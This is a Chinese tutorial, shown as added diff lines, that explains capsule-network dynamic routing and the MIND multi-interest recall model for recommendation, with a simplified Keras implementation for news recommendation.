+胶囊网络其实可以和神经网络对比着看可能更好理解，我们知道神经网络的每一层的神经元输出的是单个的标量值，接收的输入，也是多个标量值，所以这是一种value to value的形式，而胶囊网络每一层的胶囊输出的是一个向量值，接收的输入也是多个向量，所以它是vector to vector形式的。来个图对比下就清楚了：
+
+![在这里插入图片描述](https://img-blog.csdnimg.cn/1f698efd1f7e4b76babb061e52133e45.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_2,color_FFFFFF,t_70,g_se,x_16#pic_center)
+左边的图是普通神经元的计算示意，而右边是一个胶囊内部的计算示意图。 神经元这里不过多解释，这里主要是剖析右边的这个胶囊计算原理。从上图可以看出， 输入是两个向量$v_1,v_2$，首先经过了一个线性映射，得到了两个新向量$u_1,u_2$，然后呢，经过了一个向量的加权汇总，这里的$c_1$,$c_2$可以先理解成权重，具体计算后面会解释。 得到汇总后的向量$s$，接下来进行了Squash操作，整体的计算公式如下：
+$$
+\begin{aligned}
+&u^{1}=W^{1} v^{1} \quad u^{2}=W^{2} v^{2} \\
+&s=c_{1} u^{1}+c_{2} u^{2} \\
+&v=\operatorname{Squash}(s) =\frac{\|s\|^{2}}{1+\|s\|^{2}} \frac{s}{\|s\|}
+\end{aligned}
+$$
+这里的Squash操作可以简单看下，主要包括两部分，右边的那部分其实就是向量归一化操作，把norm弄成1，而左边那部分算是一个非线性操作，如果$s$的norm很大，那么这个整体就接近1， 而如果这个norm很小，那么整体就会接近0， 和sigmoid很像有没有？
+
+这样就完成了一个胶囊的计算，但有两点需要注意：
+1. 这里的$W^i$参数是可学习的，和神经网络一样， 通过BP算法更新
+2. 这里的$c_i$参数不是BP算法学习出来的，而是采用动态路由机制现场算出来的，这个非常类似于pooling层，我们知道pooling层的参数也不是学习的，而是根据前面的输入现场取最大或者平均计算得到的。
+
+所以这里的问题，就是怎么通过动态路由机制得到$c_i$，下面是动态路由机制的过程。
+
+### 动态路由机制原理
+我们先来一个胶囊结构: 
+
+![在这里插入图片描述](https://img-blog.csdnimg.cn/12fca14263d943318bf3d83180b55e01.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center)
+这个$c_i$是通过动态路由机制计算得到，那么动态路由机制究竟是啥子意思？  其实就是通过迭代的方式去计算，没有啥神秘的，迭代计算的流程如下图:
+ ![在这里插入图片描述](https://img-blog.csdnimg.cn/82746b6ff8ac47fab6a89788d8d50f9e.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center)
+首先我们先初始化$b_i$，与每一个输入胶囊$u_i$进行对应，这哥们有个名字叫做"routing logit"， 表示的是输出的这个胶囊与输入胶囊的相关性，和注意力机制里面的score值非常像。由于一开始不知道这个哪个胶囊与输出的胶囊有关系，所以默认相关性分数都一样，然后进入迭代。
+
+在每一次迭代中，首先把分数转成权重，然后加权求和得到$s$，这个很类似于注意力机制的步骤，得到$s$之后，通过归一化操作，得到$a$，接下来要通过$a$和输入胶囊的相关性以及上一轮的$b_i$来更新$b_i$。最后那个公式有必要说一下在干嘛：
+>如果当前的$a$与某一个输入胶囊$u_i$非常相关，即内积结果很大的话，那么相应的下一轮的该输入胶囊对应的$b_i$就会变大， 那么， 在计算下一轮的$a$的时候，与上一轮$a$相关的$u_i$就会占主导，相当于下一轮的$a$与上一轮中和他相关的那些$u_i$之间的路径权重会大一些，这样从空间点的角度观察，就相当于$a$点朝与它相关的那些$u$点更近了一点。
+
+通过若干次迭代之后，得到最后的输出胶囊向量$a$会慢慢的走到与它更相关的那些$u$附近，而远离那些与它不相干的$u$。所以上面的这个迭代过程有点像**排除异常输入胶囊的感觉**。 
+![在这里插入图片描述](https://img-blog.csdnimg.cn/2bc074c460fa403f8a98fa24aa4a31a3.png#pic_center)
+
+
+而从另一个角度来考虑，这个过程其实像是聚类的过程，因为胶囊的输出向量$v$经过若干次迭代之后，会最终停留到与其非常相关的那些输入胶囊里面，而这些输入胶囊，其实就可以看成是某个类别了，因为既然都共同的和输出胶囊$v$比较相关，那么彼此之间的相关性也比较大，于是乎，经过这样一个动态路由机制之后，就不自觉的，把输入胶囊实现了聚类。把和与其他输入胶囊不同的那些胶囊给排除了出去。
+
+所以，这个动态路由机制的计算设计的还是比较巧妙的， 下面是上述过程的展开计算过程， 这个和RNN的计算有点类似：
+![在这里插入图片描述](https://img-blog.csdnimg.cn/c189e1258de64e42b576884844e718a4.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center)
+这样就完成了一个胶囊内部的计算过程了。
+
+Ok， 有了上面的这些铺垫，再来看MIND就会比较简单了。下面正式对MIND模型的网络架构剖析。
+
+## MIND模型的网络结构与细节剖析
+### 网络整体结构
+MIND网络的架构如下：
+![在这里插入图片描述](https://img-blog.csdnimg.cn/33b251f8dcb242ad82b2ed0313f6df73.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_2,color_FFFFFF,t_70,g_se,x_16#pic_center)
+初步先分析这个网络结构的运作： 首先接收的输入有三类特征，用户base属性，历史行为属性以及商品的属性，用户的历史行为序列属性过了一个多兴趣提取层得到了多个兴趣胶囊，接下来和用户base属性拼接过DNN，得到了交互之后的用户兴趣。然后在训练阶段，用户兴趣和当前商品向量过一个label-aware attention，然后求softmax损失。 在服务阶段，得到用户的向量之后，就可以直接进行近邻检索，找候选商品了。 这就是宏观过程，但是，多兴趣提取层以及这个label-aware attention是在做什么事情呢？  如果单独看这个图，感觉得到多个兴趣胶囊之后，直接把这些兴趣胶囊以及用户的base属性拼接过全连接，那最终不就成了一个用户向量，此时label-aware attention的意义不就没了？ 所以这个图初步感觉画的有问题，和论文里面描述的不符。所以下面先以论文为主，正式开始描述具体细节。
+
+### 任务目标
+召回任务的目标是对于每一个用户$u \in \mathcal{U}$从十亿规模的物品池$\mathcal{I}$检索出包含与用户兴趣相关的上千个物品集。
+#### 模型的输入
+对于模型，每个样本的输入可以表示为一个三元组：$\left(\mathcal{I}_{u}, \mathcal{P}_{u}, \mathcal{F}_{i}\right)$，其中$\mathcal{I}_{u}$代表与用户$u$交互过的物品集，即用户的历史行为；$\mathcal{P}_{u}$表示用户的属性，例如性别、年龄等；$\mathcal{F}_{i}$定义为目标物品$i$的一些特征，例如物品id和种类id等。
+#### 任务描述
+MIND的核心任务是学习一个从原生特征映射到**用户表示**的函数，用户表示定义为：
+$$
+\mathrm{V}_{u}=f_{u s e r}\left(\mathcal{I}_{u}, \mathcal{P}_{u}\right)
+$$
+其中，$\mathbf{V}_{u}=\left(\overrightarrow{\boldsymbol{v}}_{u}^{1}, \ldots, \overrightarrow{\boldsymbol{v}}_{u}^{K}\right) \in \mathbb{R}^{d \times k}$是用户$u$的表示向量，$d$是embedding的维度，$K$表示向量的个数，即兴趣的数量。如果$K=1$，那么MIND模型就退化成YouTubeDNN的向量表示方式了。
+
+目标物品$i$的embedding函数为：
+$$
+\overrightarrow{\mathbf{e}}_{i}=f_{\text {item }}\left(\mathcal{F}_{i}\right)
+$$
+其中，$\overrightarrow{\mathbf{e}}_{i} \in \mathbb{R}^{d \times 1}, \quad f_{i t e m}(\cdot)$表示一个embedding&pooling层。
+#### 最终结果
+根据评分函数检索（根据**目标物品与用户表示向量的内积的最大值作为相似度依据**，DIN的Attention部分也是以这种方式来衡量两者的相似度），得到top N个候选项：
+
+$$
+f_{\text {score }}\left(\mathbf{V}_{u}, \overrightarrow{\mathbf{e}}_{i}\right)=\max _{1 \leq k \leq K} \overrightarrow{\mathbf{e}}_{i}^{\mathrm{T}} \overrightarrow{\mathbf{V}}_{u}^{\mathrm{k}}
+$$
+
+### Embedding & Pooling层
+Embedding层的输入由三部分组成，用户属性$\mathcal{P}_{u}$、用户行为$\mathcal{I}_{u}$和目标物品标签$\mathcal{F}_{i}$。每一部分都由多个id特征组成，则是一个高维的稀疏数据，因此需要Embedding技术将其映射为低维密集向量。具体来说，
+
+* 对于$\mathcal{P}_{u}$的id特征（年龄、性别等）是将其Embedding的向量进行Concat，组成用户属性Embedding$\overrightarrow{\mathbf{p}}_{u}$；
+* 目标物品$\mathcal{F}_{i}$通常包含其他分类特征id（品牌id、店铺id等） ，这些特征有利于物品的冷启动问题，需要将所有的分类特征的Embedding向量进行平均池化，得到一个目标物品向量$\overrightarrow{\mathbf{e}}_{i}$；
+* 对于用户行为$\mathcal{I}_{u}$，由物品的Embedding向量组成用户行为Embedding列表$E_{u}=\overrightarrow{\mathbf{e}}_{j}, j \in \mathcal{I}_{u}$， 当然这里不仅只有物品embedding哈，也可能有类别，品牌等其他的embedding信息。
+
+### Multi-Interest Extractor Layer(核心)
+作者认为，单一的向量不足以表达用户的多兴趣。所以作者采用**多个表示向量**来分别表示用户不同的兴趣。通过这个方式，在召回阶段，用户的多兴趣可以分别考虑，对于兴趣的每一个方面，能够更精确的进行物品检索。
+
+为了学习多兴趣表示，作者利用胶囊网络表示学习的动态路由将用户的历史行为分组到多个簇中。来自一个簇的物品应该密切相关，并共同代表用户兴趣的一个特定方面。
+
+由于多兴趣提取器层的设计灵感来自于胶囊网络表示学习的动态路由，所以这里作者回顾了动态路由机制。当然，如果之前对胶囊网络或动态路由不了解，这里读起来就会有点艰难，但由于我上面进行了铺垫，这里就直接拿过原文并解释即可。
+#### 动态路由
+动态路由是胶囊网络中的迭代学习算法，用于学习低水平胶囊和高水平胶囊之间的路由对数（logit）$b_{ij}$，来得到高水平胶囊的表示。
+
+我们假设胶囊网络有两层，即低水平胶囊$\vec{c}_{i}^{l} \in \mathbb{R}^{N_{l} \times 1}, i \in\{1, \ldots, m\}$和高水平胶囊$\vec{c}_{j}^{h} \in \mathbb{R}^{N_{h} \times 1}, j \in\{1, \ldots, n\}$，其中$m,n$表示胶囊的个数， $N_l,N_h$表示胶囊的维度。 路由对数$b_{ij}$计算公式如下：
+$$
+b_{i j}=\left(\vec{c}_{j}^{h}\right)^{T} \mathrm{~S}_{i j} \vec{c}_{i}^{l}
+$$
+其中$\mathbf{S}_{i j} \in \mathbb{R}^{N_{h} \times N_{l}}$表示待学习的双线性映射矩阵【在胶囊网络的原文中称为转换矩阵】
+
+通过计算路由对数，将高阶胶囊$j$的候选向量计算为所有低阶胶囊的加权和：
+$$
+\vec{z}_{j}^{h}=\sum_{i=1}^{m} w_{i j} S_{i j} \vec{c}_{i}^{l}
+$$
+其中$w_{ij}$定义为连接低阶胶囊$i$和高阶胶囊$j$的权重【称为耦合系数】，而且其通过对路由对数执行softmax来计算：
+$$
+w_{i j}=\frac{\exp b_{i j}}{\sum_{k=1}^{m} \exp b_{i k}}
+$$
+最后，应用一个非线性的“压缩”函数来获得一个高阶胶囊的向量【胶囊网络向量的模表示由胶囊所代表的实体存在的概率】
+$$
+\vec{c}_{j}^{h}=\operatorname{squash}\left(\vec{z}_{j}^{h}\right)=\frac{\left\|\vec{z}_{j}^{h}\right\|^{2}}{1+\left\|\vec{z}_{j}^{h}\right\|^{2}} \frac{\vec{z}_{j}^{h}}{\left\|\vec{z}_{j}^{h}\right\|}
+$$
+路由过程重复进行3次达到收敛。当路由结束，高阶胶囊值$\vec{c}_{j}^{h}$固定，作为下一层的输入。
+
+Ok，下面我们开始解释，其实上面说的这些就是胶囊网络的计算过程，只不过和之前所用的符号不一样了。这里拿个图：
+![在这里插入图片描述](https://img-blog.csdnimg.cn/02fd2e79c97c4345bb228b3bb2eb517c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_2,color_FFFFFF,t_70,g_se,x_16#pic_center)
+首先，论文里面也是个两层的胶囊网络，低水平层->高水平层。 低水平层有$m$个胶囊，每个胶囊向量维度是$N_l$，用$\vec{c}_{i}^l$表示的，高水平层有$n$个胶囊，每个胶囊$N_h$维，用$\vec{c}_{j}^h$表示。
+
+单独拿出每个$\vec{c}_{j}^h$，其计算过程如上图所示。首先，先随机初始化路由对数$b_{ij}=0$，然后开始迭代，对于每次迭代：
+$$
+w_{i j}=\frac{\exp b_{i j}}{\sum_{k=1}^{m} \exp b_{i k}} \\
+\vec{z}_{j}^{h}=\sum_{i=1}^{m} w_{i j} S_{i j} \vec{c}_{i}^{l} \\ \vec{c}_{j}^{h}=\operatorname{squash}\left(\vec{z}_{j}^{h}\right)=\frac{\left\|\vec{z}_{j}^{h}\right\|^{2}}{1+\left\|\vec{z}_{j}^{h}\right\|^{2}} \frac{\vec{z}_{j}^{h}}{\left\|\vec{z}_{j}^{h}\right\|}  \\ b_{i j}=\left(\vec{c}_{j}^{h}\right)^{T} \mathrm{~S}_{i j} \vec{c}_{i}^{l}
+$$
+只不过这里的符合和上图中的不太一样，这里的$w_{ij}$对应的是每个输入胶囊的权重$c_{ij}$， 这里的$\vec{c}_{j}^h$对应上图中的$a$， 这里的$\vec{z}_{j}^h$对应的是输入胶囊的加权组合。这里的$\vec{c}_{i}^l$对应上图中的$v_i$，这里的$S_{ij}$对应的是上图的权重$W_{ij}$，只不过这个可以换成矩阵运算。 和上图中不同的是路由对数$b_{ij}$更新那里，没有了上一层的路由对数值，但感觉这样会有问题。
+
+所以，这样解释完之后就会发现，其实上面的一顿操作就是说的传统的动态路由机制。
+
+#### B2I动态路由
+作者设计的多兴趣提取层就是就是受到了上述胶囊网络的启发。
+
+如果把用户的行为序列看成是行为胶囊， 把用户的多兴趣看成兴趣胶囊，那么多兴趣提取层就是利用动态路由机制学习行为胶囊`->`兴趣胶囊的映射关系。但是原始路由算法无法直接应用于处理用户行为数据。因此，提出了**行为(Behavior)到兴趣(Interest)（B2I）动态路由**来自适应地将用户的行为聚合到兴趣表示向量中，它与原始路由算法有三个不同之处：
+
+1. **共享双向映射矩阵**。在初始动态路由中，使用固定的或者说共享的双线性映射矩阵$S$而不是单独的双线性映射矩阵， 在原始的动态路由中，对于每个输出胶囊$\vec{c}_{j}^h$，都会有对应的$S_{ij}$，而这里是每个输出胶囊，都共用一个$S$矩阵。 原因有两个：
+	1. 一方面，用户行为是可变长度的，从几十个到几百个不等，因此使用共享的双线性映射矩阵是有利于泛化。
+	2. 另一方面，希望兴趣胶囊在同一个向量空间中，但不同的双线性映射矩阵将兴趣胶囊映射到不同的向量空间中。因为映射矩阵的作用就是对用户的行为胶囊进行线性映射嘛， 由于用户的行为序列都是商品，所以希望经过映射之后，到统一的商品向量空间中去。路由对数计算如下：
+$$
+b_{i j}=\overrightarrow{\boldsymbol{u}}_{j}^{T} \mathrm{S\overrightarrow{e}}_{i}, \quad i \in \mathcal{I}_{u}, j \in\{1, \ldots, K\}
+$$
+​		其中，$\overrightarrow{\boldsymbol{e}}_{i} \in \mathbb{R}^{d}$是历史物品$i$的embedding，$\vec{u}_{j} \in \mathbb{R}^{d}$表示兴趣胶囊$j$的向量。$S \in \mathbb{R}^{d \times d}$是每一对行为胶囊(低价)到兴趣胶囊(高阶)之间		的共享映射矩阵。
+
+
+2. **随机初始化路由对数**。由于利用共享双向映射矩阵$S$，如果再初始化路由对数为0将导致相同的初始的兴趣胶囊。随后的迭代将陷入到一个不同兴趣胶囊在所有的时间保持相同的情景。因为每个输出胶囊的运算都一样了嘛(除非迭代的次数不同，但这样也会导致兴趣胶囊都很类似)，为了减轻这种现象，作者通过高斯分布进行随机采样来初始化路由对数$b_{ij}$，让初始兴趣胶囊与其他每一个不同，其实就是希望在计算每个输出胶囊的时候，通过随机化的方式，希望这几个聚类中心离得远一点，这样才能表示出广泛的用户兴趣(我们已经了解这个机制就仿佛是聚类，而计算过程就是寻找聚类中心)。
+3. **动态的兴趣数量**，兴趣数量就是聚类中心的个数，由于不同用户的历史行为序列不同，那么相应的，其兴趣胶囊有可能也不一样多，所以这里使用了一种启发式方式自适应调整聚类中心的数量，即$K$值。
+$$
+K_{u}^{\prime}=\max \left(1, \min \left(K, \log _{2}\left(\left|\mathcal{I}_{u}\right|\right)\right)\right)
+$$
+这种调整兴趣胶囊数量的策略可以为兴趣较小的用户节省一些资源，包括计算和内存资源。这个公式不用多解释，与行为序列长度成正比。
+
+最终的B2I动态路由算法如下：
+![在这里插入图片描述](https://img-blog.csdnimg.cn/37cc4943b91c494d987a8aa844077c42.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA57-75rua55qE5bCPQOW8ug==,size_1,color_FFFFFF,t_70,g_se,x_16#pic_center)
+应该很好理解了吧。
+
+### Label-aware Attention Layer
+ 通过多兴趣提取器层，从用户的行为embedding中生成多个兴趣胶囊。不同的兴趣胶囊代表用户兴趣的不同方面，相应的兴趣胶囊用于评估用户对特定类别的偏好。所以，在训练的期间，最后需要设置一个Label-aware的注意力层，对于当前的商品，根据相关性选择最相关的兴趣胶囊。这里其实就是一个普通的注意力机制，和DIN里面的那个注意力层基本上是一模一样，计算公式如下：
+$$
+\begin{aligned}
+\overrightarrow{\boldsymbol{v}}_{u} &=\operatorname{Attention}\left(\overrightarrow{\boldsymbol{e}}_{i}, \mathrm{~V}_{u}, \mathrm{~V}_{u}\right) \\
+&=\mathrm{V}_{u} \operatorname{softmax}\left(\operatorname{pow}\left(\mathrm{V}_{u}^{\mathrm{T}} \overrightarrow{\boldsymbol{e}}_{i}, p\right)\right)
+\end{aligned}
+$$
+首先这里的$\overrightarrow{\boldsymbol{e}}_{i}$表示当前的商品向量，$V_u$表示用户的多兴趣向量组合，里面有$K$个向量，表示用户的$K$的兴趣。用户的各个兴趣向量与目标商品做内积，然后softmax转成权重，然后反乘到多个兴趣向量进行加权求和。 但是这里需要注意的一个小点，就是这里做内积求完相似性之后，先做了一个指数操作，**这个操作其实能放大或缩小相似程度**，至于放大或者缩小的程度，由$p$控制。 比如某个兴趣向量与当前商品非常相似，那么再进行指数操作之后，如果$p$也很大，那么显然这个兴趣向量就占了主导作用。$p$是一个可调节的参数来调整注意力分布。当$p$接近0，每一个兴趣胶囊都得到相同的关注。当$p$大于1时，随着$p$的增加，具有较大值的点积将获得越来越多的权重。考虑极限情况，当$p$趋近于无穷大时，注意机制就变成了一种硬注意，选关注最大的值而忽略其他值。在实验中，发现使用硬注意导致更快的收敛。
+>理解：$p$小意味着所有的相似程度都缩小了， 使得之间的差距会变小，所以相当于每个胶囊都会受到关注，而越大的话，使得各个相似性差距拉大，相似程度越大的会更大，就类似于贫富差距， 最终使得只关注于比较大的胶囊。
+
+### 训练与服务
+得到用户向量$\overrightarrow{\boldsymbol{v}}_{u}$和标签物品embedding$\vec{e}_{i}$后，计算用户$u$与标签物品$i$交互的概率：
+$$
+\operatorname{Pr}(i \mid u)=\operatorname{Pr}\left(\vec{e}_{i} \mid \vec{v}_{u}\right)=\frac{\exp \left(\vec{v}_{u}^{\mathrm{T} \rightarrow}\right)}{\sum_{j \in I} \exp \left(\vec{v}_{u}^{\mathrm{T}} \vec{e}_{j}\right)}
+$$
+目标函数是：
+$$
+L=\sum_{(u, i) \in \mathcal{D}} \log \operatorname{Pr}(i \mid u)
+$$
+其中$\mathcal{D}$是训练数据包含用户物品交互的集合。因为物品的数量可伸缩到数十亿，所以不能直接算。因此。使用采样的softmax技术，并且选择Adam优化来训练MIND。
+
+训练结束后，抛开label-aware注意力层，MIND网络得到一个用户表示映射函数$f_{user}$。在服务期间，用户的历史序列与自身属性喂入到$f_{user}$，每个用户得到多兴趣向量。然后这个表示向量通过一个近似邻近方法来检索top N物品。
+
+这就是整个MIND模型的细节了。
+
+## MIND模型之简易代码复现
+下面参考Deepctr，用简易的代码实现下MIND，并在新闻推荐的数据集上进行召回任务。
+
+### 整个代码架构
+
+整个MIND模型算是参考deepmatch修改的一个简易版本：
+
+```python
+def MIND(user_feature_columns, item_feature_columns, num_sampled=5, k_max=2, p=1.0, dynamic_k=False, user_dnn_hidden_units=(64, 32),
+        dnn_activation='relu', dnn_use_bn=False, l2_reg_dnn=0, l2_reg_embedding=1e-6, dnn_dropout=0, output_activation='linear', seed=1024):
+    """
+        :param k_max: 用户兴趣胶囊的最大个数
+    """
+    # 目前这里只支持item_feature_columns为1的情况，即只能转入item_id
+    if len(item_feature_columns) > 1:
+        raise ValueError("Now MIND only support 1 item feature like item_id")
+    
+    # 获取item相关的配置参数
+    item_feature_column = item_feature_columns[0]
+    item_feature_name = item_feature_column.name
+    item_vocabulary_size = item_feature_column.vocabulary_size
+    item_embedding_dim = item_feature_column.embedding_dim
+    
+    behavior_feature_list = [item_feature_name]
+    
+    # 为用户特征创建Input层
+    user_input_layer_dict = build_input_layers(user_feature_columns)
+    item_input_layer_dict = build_input_layers(item_feature_columns)
+    # 将Input层转化成列表的形式作为model的输入
+    user_input_layers = list(user_input_layer_dict.values())
+    item_input_layers = list(item_input_layer_dict.values())
+    
+    # 筛选出特征中的sparse特征和dense特征，方便单独处理
+    sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), user_feature_columns)) if user_feature_columns else []
+    dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), user_feature_columns)) if user_feature_columns else []
+    varlen_feature_columns = list(filter(lambda x: isinstance(x, VarLenSparseFeat), user_feature_columns)) if user_feature_columns else []
+    
+    # 由于这个变长序列里面只有历史点击文章，没有类别啥的，所以这里直接可以用varlen_feature_columns
+    # deepctr这里单独把点击文章这个放到了history_feature_columns
+    seq_max_len = varlen_feature_columns[0].maxlen
+    
+    # 构建embedding字典
+    embedding_layer_dict = build_embedding_layers(user_feature_columns+item_feature_columns)
+    
+    # 获取当前的行为特征(doc)的embedding，这里面可能又多个类别特征，所以需要pooling下
+    query_embed_list = embedding_lookup(behavior_feature_list, item_input_layer_dict, embedding_layer_dict)  # 长度为1 
+    # 获取行为序列(doc_id序列, hist_doc_id) 对应的embedding，这里有可能有多个行为产生了行为序列，所以需要使用列表将其放在一起
+    keys_embed_list = embedding_lookup([varlen_feature_columns[0].name], user_input_layer_dict, embedding_layer_dict)  # 长度为1
+    
+    # 用户离散特征的输入层与embedding层拼接
+    dnn_input_emb_list = embedding_lookup([col.name for col in sparse_feature_columns], user_input_layer_dict, embedding_layer_dict)
+    
+    # 获取dense
+    dnn_dense_input = []
+    for fc in dense_feature_columns:
+        if fc.name != 'hist_len':  # 连续特征不要这个
+            dnn_dense_input.append(user_input_layer_dict[fc.name])
+    
+    # 把keys_emb_list和query_emb_listpooling操作， 这是因为可能每个商品不仅有id，还可能用类别，品牌等多个embedding向量，这种需要pooling成一个
+    history_emb = PoolingLayer()(NoMask()(keys_embed_list))  # (None, 50, 8)
+    target_emb = PoolingLayer()(NoMask()(query_embed_list))   # (None, 1, 8)
+    
+    hist_len = user_input_layer_dict['hist_len']
+    # 胶囊网络
+    # (None, 2, 8) 得到了两个兴趣胶囊
+    high_capsule = CapsuleLayer(input_units=item_embedding_dim, out_units=item_embedding_dim,
+                                max_len=seq_max_len, k_max=k_max)((history_emb, hist_len))
+    
+    
+    # 把用户的其他特征拼接到胶囊网络上来
+    if len(dnn_input_emb_list) > 0 or len(dnn_dense_input) > 0:
+        user_other_feature = combined_dnn_input(dnn_input_emb_list, dnn_dense_input)
+        # (None, 2, 32)   这里会发现其他的用户特征是每个胶囊复制了一份，然后拼接起来
+        other_feature_tile = tf.keras.layers.Lambda(tile_user_otherfeat, arguments={'k_max': k_max})(user_other_feature) 
+        user_deep_input = Concatenate()([NoMask()(other_feature_tile), high_capsule]) # (None, 2, 40)
+    else:
+        user_deep_input = high_capsule
+        
+    # 接下来过一个DNN层，获取最终的用户表示向量 如果是三维输入， 那么最后一个维度与w相乘，所以这里如果不自己写，可以用Dense层的列表也可以
+    user_embeddings = DNN(user_dnn_hidden_units, dnn_activation, l2_reg_dnn,
+                          dnn_dropout, dnn_use_bn, output_activation=output_activation, seed=seed,
+                          name="user_embedding")(user_deep_input)  # (None, 2, 8)
+    
+    # 接下来，过Label-aware layer
+    if dynamic_k:
+        user_embedding_final = LabelAwareAttention(k_max=k_max, pow_p=p,)((user_embeddings, target_emb, hist_len))
+    else:
+        user_embedding_final = LabelAwareAttention(k_max=k_max, pow_p=p,)((user_embeddings, target_emb))
+    
+    # 接下来
+    item_embedding_matrix = embedding_layer_dict[item_feature_name]  # 获取doc_id的embedding层
+    item_index = EmbeddingIndex(list(range(item_vocabulary_size)))(item_input_layer_dict[item_feature_name]) # 所有doc_id的索引
+    item_embedding_weight = NoMask()(item_embedding_matrix(item_index))  # 拿到所有item的embedding
+    pooling_item_embedding_weight = PoolingLayer()([item_embedding_weight])  # 这里依然是当可能不止item_id，或许还有brand_id, cat_id等，需要池化
+    
+    # 这里传入的是整个doc_id的embedding， user_embedding, 以及用户点击的doc_id，然后去进行负采样计算损失操作
+    output = SampledSoftmaxLayer(num_sampled)([pooling_item_embedding_weight, user_embedding_final, item_input_layer_dict[item_feature_name]])
+    
+    model = Model(inputs=user_input_layers+item_input_layers, outputs=output)
+    
+    # 下面是等模型训练完了之后，获取用户和item的embedding
+    model.__setattr__("user_input", user_input_layers)
+    model.__setattr__("user_embedding", user_embeddings)
+    model.__setattr__("item_input", item_input_layers)
+    model.__setattr__("item_embedding", get_item_embedding(pooling_item_embedding_weight, item_input_layer_dict[item_feature_name]))
+    
+    return model
+```
+简单说下流程， 函数式API搭建模型的方式，首先我们需要传入封装好的用户特征描述以及item特征描述，比如：
+
+```python
+# 建立模型
+user_feature_columns = [
+        SparseFeat('user_id', feature_max_idx['user_id'], embedding_dim),
+        VarLenSparseFeat(SparseFeat('hist_doc_ids', feature_max_idx['article_id'], embedding_dim,
+                                                        embedding_name="click_doc_id"), his_seq_maxlen, 'mean', 'hist_len'),    
+        DenseFeat('hist_len', 1),
+        SparseFeat('u_city', feature_max_idx['city'], embedding_dim),
+        SparseFeat('u_age', feature_max_idx['age'], embedding_dim),
+        SparseFeat('u_gender', feature_max_idx['gender'], embedding_dim),
+    ]
+doc_feature_columns = [
+    SparseFeat('click_doc_id', feature_max_idx['article_id'], embedding_dim)
+    # 这里后面也可以把文章的类别画像特征加入
+]
+```
+首先， 函数会对传入的这种特征建立模型的Input层，主要是`build_input_layers`函数。建立完了之后，获取到Input层列表，这个是为了最终定义模型用的，keras要求定义模型的时候是列表的形式。
+
+接下来是选出sparse特征和Dense特征来，这个也是常规操作了，因为不同的特征后面处理方式不一样，对于sparse特征，后面要接embedding层，Dense特征的话，直接可以拼接起来。这就是筛选特征的3行代码。
+
+接下来，是为所有的离散特征建立embedding层，通过函数`build_embedding_layers`。建立完了之后，把item相关的embedding层与对应的Input层接起来，作为query_embed_list， 而用户历史行为序列的embedding层与Input层接起来作为keys_embed_list，这两个有单独的用户。而Input层与embedding层拼接是通过`embedding_lookup`函数完成的。 这样完成了之后，就能通过Input层-embedding层拿到item的系列embedding，以及历史序列里面item系列embedding，之所以这里是系列embedding，是有可能不止item_id这一个特征，还可能有品牌id, 类别id等好几个，所以接下来把系列embedding通过pooling操作，得到最终表示item的向量。 就是这两行代码：
+
+```python
+# 把keys_emb_list和query_emb_listpooling操作， 这是因为可能每个商品不仅有id，还可能用类别，品牌等多个embedding向量，这种需要pooling成一个
+history_emb = PoolingLayer()(NoMask()(keys_embed_list))  # (None, 50, 8)
+target_emb = PoolingLayer()(NoMask()(query_embed_list))   # (None, 1, 8)
+```
+而像其他的输入类别特征， 依然是Input层与embedding层拼起来，留着后面用，这个存到了dnn_input_emb_list中。 而dense特征， 不需要embedding层，直接通过Input层获取到，然后存到列表里面，留着后面用。
+
+上面得到的history_emb，就是用户的历史行为序列，这个东西接下来要过兴趣提取层，去学习用户的多兴趣，当然这里还需要传入行为序列的真实长度。因为每个用户行为序列不一样长，通过mask让其等长了，但是真实在胶囊网络计算的时候，这些填充的序列是要被mask掉的。所以必须要知道真实长度。
+
+```python
+# 胶囊网络
+# (None, 2, 8) 得到了两个兴趣胶囊
+high_capsule = CapsuleLayer(input_units=item_embedding_dim, out_units=item_embedding_dim,max_len=seq_max_len, k_max=k_max)((history_emb, hist_len))
+```
+通过这步操作，就得到了两个兴趣胶囊。 至于具体细节，下一节看。 然后把用户的其他特征拼接上来，这里有必要看下代码究竟是怎么拼接的：
+
+```python
+# 把用户的其他特征拼接到胶囊网络上来
+if len(dnn_input_emb_list) > 0 or len(dnn_dense_input) > 0:
+    user_other_feature = combined_dnn_input(dnn_input_emb_list, dnn_dense_input)
+    # (None, 2, 32)   这里会发现其他的用户特征是每个胶囊复制了一份，然后拼接起来
+    other_feature_tile = tf.keras.layers.Lambda(tile_user_otherfeat, arguments={'k_max': k_max})(user_other_feature) 
+    user_deep_input = Concatenate()([NoMask()(other_feature_tile), high_capsule]) # (None, 2, 40)
+else:
+    user_deep_input = high_capsule
+```
+这里会发现，使用了一个Lambda层，这个东西的作用呢，其实是将用户的其他特征在胶囊个数的维度上复制了一份，再拼接，这就相当于在每个胶囊的后面都拼接上了用户的基础特征。这样得到的维度就成了(None, 2, 40)，2是胶囊个数， 40是兴趣胶囊的维度+其他基础特征维度总和。这样拼完了之后，接下来过全连接层
+
+```python
+# 接下来过一个DNN层，获取最终的用户表示向量 如果是三维输入， 那么最后一个维度与w相乘，所以这里如果不自己写，可以用Dense层的列表也可以
+user_embeddings = DNN(user_dnn_hidden_units, dnn_activation, l2_reg_dnn,
+                          dnn_dropout, dnn_use_bn, output_activation=output_activation, seed=seed,
+                          name="user_embedding")(user_deep_input)  # (None, 2, 8)
+```
